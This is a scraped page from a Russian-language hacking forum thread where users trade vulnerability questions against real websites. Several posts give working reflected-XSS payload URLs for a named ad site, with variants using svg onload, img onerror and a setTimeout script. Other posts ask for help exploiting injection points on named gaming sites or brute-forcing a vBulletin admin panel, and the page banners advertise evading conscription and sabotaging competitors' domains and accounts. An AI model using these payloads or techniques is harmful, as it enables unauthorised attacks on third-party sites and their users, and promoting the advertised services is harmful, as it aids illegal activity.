Ваши вопросы по уязвимостям.

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 34 из 296

« Первая

134

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#331

13.07.2015, 01:40

kingbeef

Новичок

Регистрация: 08.04.2010

Сообщений: 1

С нами: 8469890

Репутация: 0

Xss есть, почитай js файлы, prompt работает

http://100ads.net/registration/?a=0&refererNickname=">prompt()

#332

13.07.2015, 04:18

3ran

Познающий

Регистрация: 27.07.2012

Сообщений: 39

С нами: 7260086

Репутация: 5

Цитата:

Сообщение от SaNDER

↑
Спасибо что ответил,но теперь вопрос другой,как обойти "это" . Ведь я не знаю логин и пароль модёра или админа . Что делать ? .

А ты думал достаточно просто найти админку?)

Можешь теперь поставить её на брут,но шансов подобрать логин/пароль практически нет.

Ищи уязвимости,пробей какая версия движка там стоит,поищи сплоиты и тд.

#333

13.07.2015, 14:07

nik1201

Познающий

Регистрация: 12.07.2015

Сообщений: 39

С нами: 5704886

Репутация: 0

Цитата:

Сообщение от EoGeneo

↑
можно

Подскажи пжл как такой скрипт составить.

#334

13.07.2015, 14:27

sander

Новичок

Регистрация: 14.06.2010

Сообщений: 0

С нами: 8374164

Репутация: 0

Цитата:

Сообщение от 3ran

↑
А ты думал достаточно просто найти админку?)
Можешь теперь поставить её на брут,но шансов подобрать логин/пароль практически нет.
Ищи уязвимости,пробей какая версия движка там стоит,поищи сплоиты и тд.

vBulletin 3.8.6 . Сплоиты не могу найти и юзать я их тоже не умею .

#335

13.07.2015, 18:47

Br@!ns

Постоянный

Регистрация: 03.09.2010

Сообщений: 885

С нами: 8258006

Репутация: 25

http://mobile.dmtc.com/index.php?vid...s/2010-08/08/8'

Можно что нибудь сделать?

#336

13.07.2015, 18:50

OxoTnik

Постоянный

Регистрация: 10.06.2011

Сообщений: 939

С нами: 7854806

Репутация: 173

Цитата:

Сообщение от Br@!ns

↑
http://mobile.dmtc.com/index.php?vid...s/2010-08/08/8
'
Можно что нибудь сделать?

нет

#337

13.07.2015, 23:54

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417383

Репутация: 0

Действительно срабатывает.

Цитата:

Сообщение от OxoTnik

↑
нет

Можно.

XSS уязвимость.

$url = "http://mobile.dmtc.com/index.php?vid...s/2010-08/08/8\'";

$referer = "\">alert(/antichat/);";

#338

14.07.2015, 13:15

frank

Участник форума

Регистрация: 08.05.2015

Сообщений: 200

С нами: 5798486

Репутация: 28

Цитата:

Сообщение от yarbabin

↑
я пока сам не понял в чем дело, однако prompt() срабатывает:

Код:

http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Csvg/onload=prompt%28/antichat/%29%3E

И все-таки алерт тоже работает, но вот почему он не вызывается, хотя по всему должен , как записано у ocheretko я х.з. реврайтов каких то не увидел...

Код:

http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Cimg%20src=%271.jpg%27%20onerror=alert%28/1/%29%3E

#339

14.07.2015, 15:22

RedFern.89

Постоянный

Регистрация: 20.01.2010

Сообщений: 338

С нами: 8582863

Репутация: 69

Помогите раскрутить, впервые сталкиваюсь, когда вывод не через кавычку

Код:

http://navi-gaming.com/en/achievements?id[]=71

Код:

http://www.team-empire.org/materials/reports/?/materials/reports/=&page=\

#340

15.07.2015, 00:49

ocheretko

Новичок

Регистрация: 15.05.2010

Сообщений: 0

С нами: 8417383

Репутация: 0

Цитата:

Сообщение от frank

↑
И все-таки алерт тоже работает, но вот почему он не вызывается, хотя по всему должен , как записано у ocheretko я х.з. реврайтов каких то не увидел...

Код:

http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Cimg%20src=%271.jpg%27%20onerror=alert%28/1/%29%3E

Вот так работает:

Код:

http://100ads.net/registration/?a=0&refererNickname=%22%3E%3Cscript%3EsetTimeout%28%22alert%28123%29%22,1000%29;%3C/script%3E%3Ca%20x=%22

Связано это с тем, что происходит назначение window.alert=function(text){$.DF.Popup.open из файла http://100ads.net/scripts/df.js и в это же самое время мы вызываем функцию алерт. Если добавить таймаут все ок

Страница 34 из 296

« Первая

134

Последняя »

Предыдущая тема Следующая тема

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход